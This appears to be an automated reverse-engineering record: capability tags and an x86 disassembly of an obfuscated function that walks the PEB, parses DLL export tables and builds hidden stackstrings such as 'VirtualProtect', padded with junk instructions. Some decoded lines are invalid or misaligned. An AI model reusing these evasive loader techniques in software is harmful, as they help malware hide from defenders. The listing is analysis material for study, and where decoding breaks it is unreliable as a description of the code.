Function at 0x10039d7f
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add word [eax], ax
pop edx
mov dword [ebp - 0x774], 0
mov eax, dword [ebp - 0x338]
mov dword [ebp - 0x1618], eax
cmp dword [ebp - 0x1618], 0
jne 0x100399e4
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x50c], ecx
jmp 0x10039cd5
mov edx, dword [ebp - 0x1618]
mov eax, dword [ebp - 0x338]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x161c], eax
jne 0x10039a0c
mov ecx, dword [ebp - 0x774]
mov dword [ebp - 0x50c], ecx
jmp 0x10039cd5
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x161c]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1620], edx
cmp dword [ebp - 0x1620], 0
jne 0x10039a3e
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x50c], eax
jmp 0x10039cd5
mov ecx, dword [ebp - 0x338]
add ecx, dword [ebp - 0x1620]
mov dword [ebp - 0x768], ecx
jne 0x10039a63
mov edx, dword [ebp - 0x774]
mov dword [ebp - 0x50c], edx
jmp 0x10039cd5
add al, byte [eax]
invalid
mov eax, dword [ebp - 0x768]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + 0x20]
dec eax
and byte [ecx - 0x1a0773], cl
dec dword [ebx - 0x7676b]
dec dword [ebx - 0x3377b]
enter 0xfffffffffffffffc, 0xffffffffffffffff
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1a0c], eax
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1a10], edx
mov dword [ebp - 0x76c], 0
jmp 0x10039abd
mov ecx, dword [ebp - 0x768]
mov edx, dword [ebp - 0x76c]
cmp edx, dword [ecx + 0x18]
jae 0x10039cc9
mov eax, dword [ebp - 0x76c]
mov ecx, dword [ebp - 0x1a08]
mov edx, dword [ebp - 0x338]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x770], edx
mov eax, dword [ebp - 0x76c]
clc
invalid
dec dword [ebx - 0x1a0b73]
dec dword [edi]
mov bh, 0x14
inc ecx
mov eax, dword [ebp - 0x1a10]
mov ecx, dword [ebp - 0x338]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x1a14], ecx
mov dword [ebp - 0x1cc], 0
jmp 0x10039b2d
mov edx, dword [ebp - 0x1cc]
add edx, 1
mov dword [ebp - 0x1cc], edx
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x1cc]
movsx ecx, byte [eax]
test ecx, ecx
je 0x10039bdf
mov edx, dword [ebp - 0x1cc]
movsx eax, byte [ebp + edx - 0x87c]
test eax, eax
je 0x10039bdf
push ebx
push eax
add esp, 4
add ebx, 0x5b06
sub ebx, 0xbd93
sub ebx, 0x8257
and ebx, 0x8c53
pop ebx
push ebx
add ebx, 0xb0c8
sub ebx, 0x134e2
and ebx, 0x7676
pop ebx
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x1cc]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1cc]
movsx ecx, byte [ebp + eax - 0x87c]
cmp edx, ecx
je 0x10039bd1
mov edx, dword [ebp - 0x770]
add edx, dword [ebp - 0x1cc]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x1cc]
movsx edx, byte [ebp + ecx - 0x87c]
cmp eax, edx
jne 0x10039bd8
jmp 0x10039b1e
jmp 0x10039bdf
push edi
push eax
add esp, 4
call 0x10039bf0
add byte [esi], dh
cmp al, 0x4c
cmp dword [edx], edi
dec ebp
add esp, 4
sub edi, 0x7ecb
pop edi
push ebx
jmp 0x10039c01
pop ebx
push edi
add edi, 0x23c6
jmp 0x10039c10
pop edi
mov eax, dword [ebp - 0x770]
add eax, dword [ebp - 0x1cc]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x1cc]
movsx eax, byte [ebp + edx - 0x87c]
cmp ecx, eax
jne 0x10039c3e
mov dword [ebp - 0xccc], 0
jmp 0x10039cad
push esi
push esi
add esp, 4
jmp 0x10039c48
sub esi, 0x10514
pop esi
push edx
push ecx
add esp, 4
sub edx, 0xd5d1
jmp 0x10039c63
add edx, 0x180d5
sub edx, 0x4932
pop edx
mov ecx, dword [ebp - 0x770]
add ecx, dword [ebp - 0x1cc]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x1cc]
movsx ecx, byte [ebp + eax - 0x87c]
or ecx, 0x20
cmp edx, ecx
jge 0x10039ca3
mov dword [ebp - 0xccc], 0xffffffff
jmp 0x10039cad
mov dword [ebp - 0xccc], 1
cmp dword [ebp - 0xccc], 0
jne 0x10039cc4
mov edx, dword [ebp - 0x1a14]
mov dword [ebp - 0x50c], edx
jmp 0x10039cd5
jmp 0x10039aae
mov eax, dword [ebp - 0x774]
mov dword [ebp - 0x50c], eax
mov ecx, dword [ebp - 0x50c]
mov dword [ebp - 0x7a0], ecx
push edi
call 0x10039cee
add byte [eax], bh
dec ecx
inc ebp
xor al, 0x39
dec esp
add esp, 4
add edi, 0x6303
pop edi
push edx
push edi
add esp, 4
jmp 0x10039d06
pop edx
push eax
push esi
add esp, 4
or eax, 0x16283
pop eax
mov edx, dword [ebp - 0x3fc]
add edx, 0xe
mov dword [ebp - 0x1a64], edx
push ecx
sub ecx, 0xb4ae
and ecx, 0x1839b
or ecx, 0x120a
pop ecx
push edx
push edi
add esp, 4
sub edx, 0x1a82
xor edx, 0x40e2
sub edx, 0x11a93
add edx, 0x9ca8
pop edx
cmp dword [ebp - 0x3fc], 0
je 0x10039d66
cmp dword [ebp - 0xae4], 0
jne 0x10039dac
push esi
and esi, 0xb13a
add esi, 0x11286
call 0x10039d7f
add byte [esp + eax*2], bh
push eax
dec esi
dec edx
aaa
add esp, 4
sub esi, 0x18580
pop esi
push edx
jmp 0x10039d91
and edx, 0x823a
pop edx
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0x1a18], eax
push 0
call dword [ebp - 0x1a18]
mov dword [ebp - 0x20b4], 0xa
push edi
sub edi, 0x6120
add edi, 0x9b60
sub edi, 0x607a
pop edi
push edx
push ebx
add esp, 4
or edx, 0x15924
jmp 0x10039ddb
or edx, 0xed46
add edx, 0x14cde
pop edx
mov ecx, dword [ebp - 0x3fc]
mov dl, byte [ecx + 0xa]
mov byte [ebp - 0x3b0], dl
mov eax, dword [ebp - 0xae4]
sub eax, dword [ebp - 0x3fc]
mov dword [ebp - 0x16a4], eax
mov dword [ebp - 0xcfc], 0
push edi
push edi
add esp, 4
xor edi, 0x142d0
jmp 0x10039e23
xor edi, 0x5e4b
pop edi
push ebx
push edx
add esp, 4
jmp 0x10039e37
and ebx, 0xfb1f
jmp 0x10039e44
pop ebx
mov byte [ebp - 0x9d8], 0x56
mov byte [ebp - 0x9d7], 0x69
mov byte [ebp - 0x9d6], 0x72
mov byte [ebp - 0x9d5], 0x74
mov byte [ebp - 0x9d4], 0x75
mov byte [ebp - 0x9d3], 0x61
mov byte [ebp - 0x9d2], 0x6c
mov byte [ebp - 0x9d1], 0x50
mov byte [ebp - 0x9d0], 0x72
mov byte [ebp - 0x9cf], 0x6f
mov byte [ebp - 0x9ce], 0x74
mov byte [ebp - 0x9cd], 0x65
mov byte [ebp - 0x9cc], 0x63
mov byte [ebp - 0x9cb], 0x74
mov byte [ebp - 0x9ca], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1a1c], ecx
mov edx, dword [ebp - 0x1a1c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1a20], eax
mov ecx, dword [ebp - 0x1a20]
mov dword [ebp - 0x1624], ecx
push eax
push eax
add esp, 4
xor eax, 0x3a9c
call 0x10039ef0
add byte [ebp + ecx*2 + 0x35], cl
inc eax
aas
xor eax, 0x834e3a38
les eax, [eax + ebx*2]
push edx
call 0x10039f04
add byte [edi + 0x34373547], bh
cmp byte [ecx + 0x4b], al
add esp, 4
pop edx
cmp dword [ebp - 0x1624], 0
jne 0x10039f20
mov dword [ebp - 0x300], 0
jmp 0x1003a1c7
mov edx, dword [ebp - 0x1624]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd8], ecx
push ebx
push esi
add esp, 4
xor ebx, 0xc00
jmp 0x10039f45
add ebx, 0x16d50
pop ebx
push esi
push ebx
add esp, 4
and esi, 0x79d1
or esi, 0x159e7
or esi, 0x10920
pop esi
cmp dword [ebp - 0xcd8], 0
jne 0x10039f7c
mov dword [ebp - 0x300], 0
jmp 0x1003a1c7
mov edx, dword [ebp - 0xcd8]
mov dword [ebp - 0x510], edx
push eax
call 0x10039f95
add byte [edx], dh
cmp dword [edi], esi
cmp dword [edi + esi], esi
add esp, 4
pop eax
push ebx
sub ebx, 0x30e5
add ebx, 0x9f4
call 0x10039fb6
add byte [edi + 0x34], cl
dec ebx
xor eax, 0x35383d50
inc esp
add esp, 4
pop ebx
lea eax, [ebp - 0x1754]
mov dword [ebp - 0xcd4], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xcd0], edx
xor eax, eax
mov word [ebp - 0x238], ax
xor ecx, ecx
mov word [ebp - 0x4c], cx
push eax
call 0x10039ff4
add byte [esi], bh
xor eax, 0x4b4f3d4b
dec ebp
inc ebx
inc eax
add esp, 4
pop eax
push ebx
push edi
add esp, 4
add ebx, 0x172ba
or ebx, 0xb7ca
add ebx, 0x6175
add ebx, 0x13ba4
pop ebx
mov edx, dword [ebp - 0xcd0]
mov ax, word [edx]
mov word [ebp - 0x1052], ax
mov ecx, dword [ebp - 0xcd0]
add ecx, 2
mov dword [ebp - 0xcd0], ecx
mov dx, word [ebp - 0x1052]
mov word [ebp - 0x238], dx
mov eax, dword [ebp - 0xcd4]
mov cx, word [eax]
mov word [ebp - 0x1054], cx
mov edx, dword [ebp - 0xcd4]
add edx, 2
mov dword [ebp - 0xcd4], edx
mov ax, word [ebp - 0x1054]
mov word [ebp - 0x4c], ax
push ecx
xor ecx, 0x626
call 0x1003a083
add byte [ebx], bh
dec edi
xor esi, dword [edi]
xor al, 0x39
xor ecx, dword [ebp + 0x4c]
add esp, 4
xor ecx, 0xc49a
pop ecx
push esi
push edx
add esp, 4
add esi, 0x159b3
and esi, 0x2e9a
pop esi
movzx ecx, word [ebp - 0x4c]
test ecx, ecx
jne 0x1003a0bc
movzx edx, word [ebp - 0x238]
movzx eax, word [ebp - 0x4c]
sub edx, eax
mov dword [ebp - 0x162c], edx
jmp 0x1003a116
movzx ecx, word [ebp - 0x238]
movzx edx, word [ebp - 0x4c]
cmp ecx, edx
je 0x10039fe4
movzx eax, word [ebp - 0x238]
xor eax, 0x20
movzx ecx, word [ebp - 0x4c]
cmp eax, ecx
je 0x10039fe4
movzx edx, word [ebp - 0x238]
movzx eax, word [ebp - 0x4c]
cmp edx, eax
jge 0x1003a100
mov dword [ebp - 0x1628], 0xffffffff
jmp 0x1003a10a
mov dword [ebp - 0x1628], 1
mov ecx, dword [ebp - 0x1628]
mov dword [ebp - 0x162c], ecx
cmp dword [ebp - 0x162c], 0
jne 0x1003a15f
push ebx
jmp 0x1003a126
pop ebx
push edx
push ecx
add esp, 4
jmp 0x1003a132
xor edx, 0x1822d
pop edx
push eax
push edi
add esp, 4
jmp 0x1003a144
sub eax, 0xc914
add eax, 0x17de6
pop eax
mov edx, dword [ebp - 0x510]
mov dword [ebp - 0x300], edx
jmp 0x1003a1c7
push ebx
jmp 0x1003a168
pop ebx
push eax
push ecx
add esp, 4
call 0x1003a17e
add byte [edx + 0x50], cl
cmp byte [ecx + 0x32], al
inc edi
cmp eax, 0x834e4b4f
les eax, [eax + ebp*8]
pop es
add byte [eax], al
add byte [eax], al
inc ecx
cmp dword [ebx + 0x36], ecx
xor ecx, dword [edx - 0x7d]
les eax, [eax + ebx*2]
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
mov dword [ebp - 0x510], ecx
mov edx, dword [ebp - 0x510]
cmp edx, dword [ebp - 0xcd8]
je 0x1003a1bd
mov eax, dword [ebp - 0x510]
cmp dword [eax + 0x30], 0
jne 0x10039f88
mov dword [ebp - 0x300], 0
push ecx
push esi
add esp, 4
sub ecx, 0xcf0e
call 0x1003a1e2
add byte [edi], bh
dec edx
cmp edi, dword [eax]
dec ebx
inc ebp
xor cl, byte [ebp + 0x33]
inc ebp
add esp, 4
pop ecx
push eax
push esi
add esp, 4
jmp 0x1003a1f2
jmp 0x1003a1f8
pop eax
cmp dword [ebp - 0x300], 0
jne 0x1003aacc
mov ecx, 0x6b
mov word [ebp - 0x178c], cx
mov edx, 0x65
mov word [ebp - 0x178a], dx
mov eax, 0x72
mov word [ebp - 0x1788], ax
mov ecx, 0x6e
mov word [ebp - 0x1786], cx
mov edx, 0x65
invalid
invalid
xchg ebp, eax
jl 0x1003a228